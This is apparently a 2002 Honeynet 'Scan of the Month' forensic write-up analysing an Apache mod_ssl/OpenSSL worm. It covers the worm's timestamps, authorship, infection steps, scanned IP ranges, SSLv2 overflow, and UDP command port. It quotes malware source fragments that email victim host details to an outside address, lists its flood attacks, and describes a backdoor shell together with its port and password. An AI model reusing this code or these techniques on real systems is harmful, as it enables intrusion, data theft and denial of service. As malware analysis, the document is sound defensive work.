|
Scan of the Month 25 November 2002 |
Authors: Raoul Bhoedjang & Pepijn Janssen |
- Q & A’s –
The .unlock file is a gzip-compressed tar archive.
The
following sequence of Unix commands shows how we reached
this conclusion.
file .unlock >>> cp .unlock unlock.gz gunzip unlock.gz echo $? >>> file unlock >>> cp unlock unlock.tar tar tvf unlock.tar >>> |
There is evidence that supports the hypothesis that file .unlock was generated on September 20, 2002 at 10:59:04 (AM, GMT).This can be deduced from the timestamp stored in the gzip header of file .unlock. The gzip file format description (RFC 1952) explains how this header field, called MTIME, is to be interpreted.
MTIME (Modification TIME) This gives the most recent modification time of the original file being compressed. The time is in Unix format, i.e., seconds since 00:00:00 GMT, Jan. 1, 1970. (Note that this may cause problems for MS-DOS and other systems that use local rather than Universal time.)If the compressed data did not come from a file, MTIME is set to the time at which compression started. MTIME = 0 means no time stamp is available. |
The MTIME field in .unlock is found at byte offset 4,
in little-endian byte order. It contains the following value:
1032519544 (decimal) 0x3d8aff78 (hexadecimal) |
Using Python's time.gmtime() function to convert this
value to a readable time, we obtain:
2002, 9,
20, 10, 59, 4, 4, 263, 0)
or, in ISO 8601 format
2002-09-20
10:59:04+000
or, in English
Friday
September 20, 2002, 10:59:04
(Julian day 263,no daylight savings).
In our case, the compressed data does not appear to
have come (directly) from a file, because no original file name is present in
the header. (If such a file name is
present, the unix 'file' command will report it, but for .unlock, it does not
report an original file name.)
The information above support the hypothesis that the
file was generated at 2002-09-20 10:59:04+000.
There is no conclusive evidence,
because it is possible to manually alter
the timestamp stored in a gzip header (and recompute the checksum).
Is it compatible with the date from question 1?
The comment at the beginning of .unlock.c states
"by contem@efnet".
The same comment states "some modification done
by aion (aion@ukr.net)".
The comment at the beginning of .update.c states
"code by aion (aion@ukr.net)".
This suggests that the actual exploit was written by
contem@efnet.
Two pieces of information hint at the creation time of the source code: the version
number (VERSION) in .upodate.c and the last-modification time of .update.c.
The version number is defined by the following line:
#define VERSION 20092002 |
This version number can be interpreted as a date: September 20, 2002.
When a file is extracted from a tar archive, tar restores its last-modification
time. These times are obtained with ls and are as follows (local time).
total 88 drwxr-xr-x 2 raoul raoul 4096 2002-11-24 10:22:39.000000000 +0100 . drwxr-xr-x 3 raoul raoul 4096 2002-11-24 10:22:39.000000000 +0100 .. -rw-r--r-- 1 raoul raoul 70981 2002-09-20 15:28:11.000000000 +0200 .unlock.c -rw-r--r-- 1 raoul raoul 2792 2002-09-19 23:57:48.000000000 +0200 .update.c |
So the last-modification times are, respectively:
.unlock.c 2002-09-20
13:28:11+000 GMT
.update.c 2002-09-19
21:57:48+000 GMT
Recall the creation time stored in the compressed file
(.unlock):
2002-09-20
10:59:04+000
One expects that this file is created after the tar
archive that contains .unlock.c and .update.c and therefore also after the last
modifications to these source files. Consequently, the creation time of the
compressed file (.unlock) is compatible with the last-modification time of
.update.c, but incompatible with the last-modification time of .unlock.c.
The process name of .unlock.c is "httpd " (without the quotes, but with the space)
The process name of .update.c is "update " (without the quotes, but with the
three spaces).
The definition of each process name is shown below together with
the line that copies this name into the program's argument vector argv.
#define PSNAME "httpd "
strcpy(argv[0],PSNAME); #define PSNAME "update " strcpy(argv[0],PSNAME); |
Which files are created in the whole process?
After the worm executes itself,
which files remain on the infected machine?
The worm copies itself as a uu-encoded file to the newly infected machine.
Function encode() in file .unlock.c uu-encodes file
/tmp/.unlock (see the definition of WORMSRC, .unlock.c, line 79).
Function encode() writes its output to an open socket (formal parameter
a). The output starts with a typical uu-encoding header:
begin 655 .unlock (see the definition of UUHEAD,
.unlock.c, line 80).
The following files are created during the whole
proces:
/tmp/.unlock.uu # cat << __eof__
/tmp/.unlock # uudecode
/tmp/.unlock.c # tar xzf
/tmp/.update.c # tar zxf
/tmp/httpd
#
gcc
/tmp/update # gcc
Only /tmp/.unlock is left behind on the infected
machine.
5. Which port is scanned by the worm?
First it scans port 80tcp of a potentional victim
Then is sends a malformed request to it and grabs the version
of the apache webserver from its replay.
If a vulnerable Apache version is present it will
attack using the exploit code with the right offset
on port 443tcp (20
times maximum). If no
architecture matches, the offset used for RedHat apache 1.3.23 is chosen by
default
The
defined ports (80 and 443) are shown below
#define SCANPORT 80 void exploit(char *ip)
{ int port = 443; |
The worm chooses a new range with potentional
victims according a pre-defined list as shown below
#ifdef SCAN unsigned char
classes[] = { 3, 4, 6, 8, 9, 11, 12, 13, 14, 15, 16, 17, 18, 19, 20, 21, 22,
24, 25, 26, 28, 29, 30, 32, 33, 34, 35, 38, 40, 43, 44, 45, 46, 47, 48, 49, 50, 51, 52, 53, 54, 55,
56, 57, 61, 62, 63, 64, 65, 66, 67, 68, 80, 81, 128, 129, 130, 131, 132, 133,
134, 135, 136, 137, 138, 139, 140, 141, 142, 143, 144, 145, 146,
147, 148, 149, 150, 151, 152, 153, 154, 155, 156, 157, 158, 159, 160, 161,
162, 163, 164, 165, 166, 167, 168, 169, 170, 171, 172, 173, 174, 175,
176, 177, 178, 179, 180, 181, 182, 183, 184, 185, 186, 187, 188, 189, 190,
191, 192, 193, 194, 195, 196, 198, 199, 200, 201, 202, 203, 204, 205,
206, 207, 208, 209, 210, 211, 212, 213, 214, 215, 216, 217, 218, 219, 220,
224, 225, 226, 227, 228, 229, 230, 231, 232, 233, 234, 235, 236, 237,
238, 239 }; #endif |
Below is shown the HTTP-request that the worm sends to
the server
write(sock,"GET
/ HTTP/1.1\r\n\r\n",strlen("GET / HTTP/1.1\r\n\r\n")); |
The worm exploits a vulnerability known as the
‘OpenSSL (SSLv2) malformed client-key handshake remote buffer overflow vulnerability.’
During the SSL handshake the attacker sends a malformed key that leads to a buffer overflow
on the server.
Vulnerable are Apache web servers that have mod_ssl enabled and that use protocol SSLv2 from OpenSSL 0.9.6d or earlier (0.9.7 beta's 1&2 to).
Neohapsis
to CERT. Many variants are
floating around the internet by now.
This worm infects only:
Debian Linux, Apache 1.3.26 SuSE Linux, Apache 1.3.23 |
Many other SSL-capable programs would be vulnerable
too,
but the worm does not
attack those.
The worm targets x86 architectures only. The binary
code contained
in variable 'overwrite_next_chunk' disassembles as x86
assembly that
ends. The instruction sequence ends with the following
two instructions
(GNU-style assembly):
mov $0xb, %a1 ; set system call number (11 = execve) int $0x80
; execute system call |
On Linux/x86 this sequence is used to initiate system
call number eleven
(execve).
The worm sends three pieces of information by email:
the host id (obtained by gethostid(), the host name (obtained by gethostname())
and the value of argv[1], the worm's command-line argument.
All information is sent to freemail@ukr.net
The construction of the email message is shown below
gethostname(buffer,128); sprintf(cmdbuf,"helo
test\r\n");
writem(pip, cmdbuf); recv(pip,cmdbuf,sizeof(cmdbuf),0); sprintf(cmdbuf,"mail from:
test@microsoft.com\r\n"); writem(pip, cmdbuf); recv(pip,cmdbuf,sizeof(cmdbuf),0); sprintf(cmdbuf,"rcpt to:
"MAILTO"\r\n");
writem(pip, cmdbuf); recv(pip,cmdbuf,sizeof(cmdbuf),0); sprintf(cmdbuf,"data\r\n"); writem(pip,
cmdbuf); recv(pip,cmdbuf,sizeof(cmdbuf),0); sprintf(cmdbuf," hostid: %d \r\n" " hostname: %s
\r\n" " att_from: %s \r\n",gethostid(),buffer,sip); |
The definition of the e-mail address and SMTP server are shown
below
#define
MAILSRV "freemail.ukr.net" #define MAILTO "aion@ukr.net" |
The worm uses port 4156 and protocol UDP to communicate with other infected machines.
The declared port and the use of the UDP-protocol is shown below
#define PORT 4156 audp_relay(&udpserver,&ts,srv,PORT); |
The 3 ways to attack an other network would be by flooding the victim using the following protocols:
1. UDP flooding. Repeatedly transmit a UDP packet to a specified
port (rp->port) at the target machine (rp->target). Packets are
sent for a specified period of time (rp->secs). Each packet contains the same random contents and has a specified length rp->size).
2. TCP flooding. Repeatedly connects to the target machine (rp->target), at a specified port (rp->port), but never waits for a connection to complete.
3. DNS flooding. Repeatedly sends a DNS packet to the target machine.
This program implements a simple network login server, which can be
used for backdoor entrance to the machine on which the program is run.
When run, the program listens for incoming connections on TCP port 1052.
The definition of the port number is shown below
#define PORT 1052 |
When a client connects to port 1052 and sends the password string "aion1981",
the server will fork off an interactive shell and connect stdin,
stdout, and stderr to the network connection.
The program is broken. The accept() statement should take as its
last argument a pointer to an integer rather than an integer.
The backdoor will accept connections only 10 (UPTIME) out of every 510 (UPTIME + SLEEPTIME) seconds, or 2% of the time. After this acceptation period, the program puts itself to sleep for 500 (SLEEPTIME) seconds. While the program is asleep, the server port remains closed. As a result, an audit of the server (e.g., through a port scan) will most likely show a closed port.
Anyone who is aware of this strategy can easily connect to the program by repeating his or her connection attempts for at least five minutes and ten seconds. Most port scanners, however, are not that persistent.
Also, not all port scanners scan port 1052. With default settings, nmap, for example, will not scan port 1052. Consequently, naive port scanning by script kiddies across the internet will not reveal the backdoor.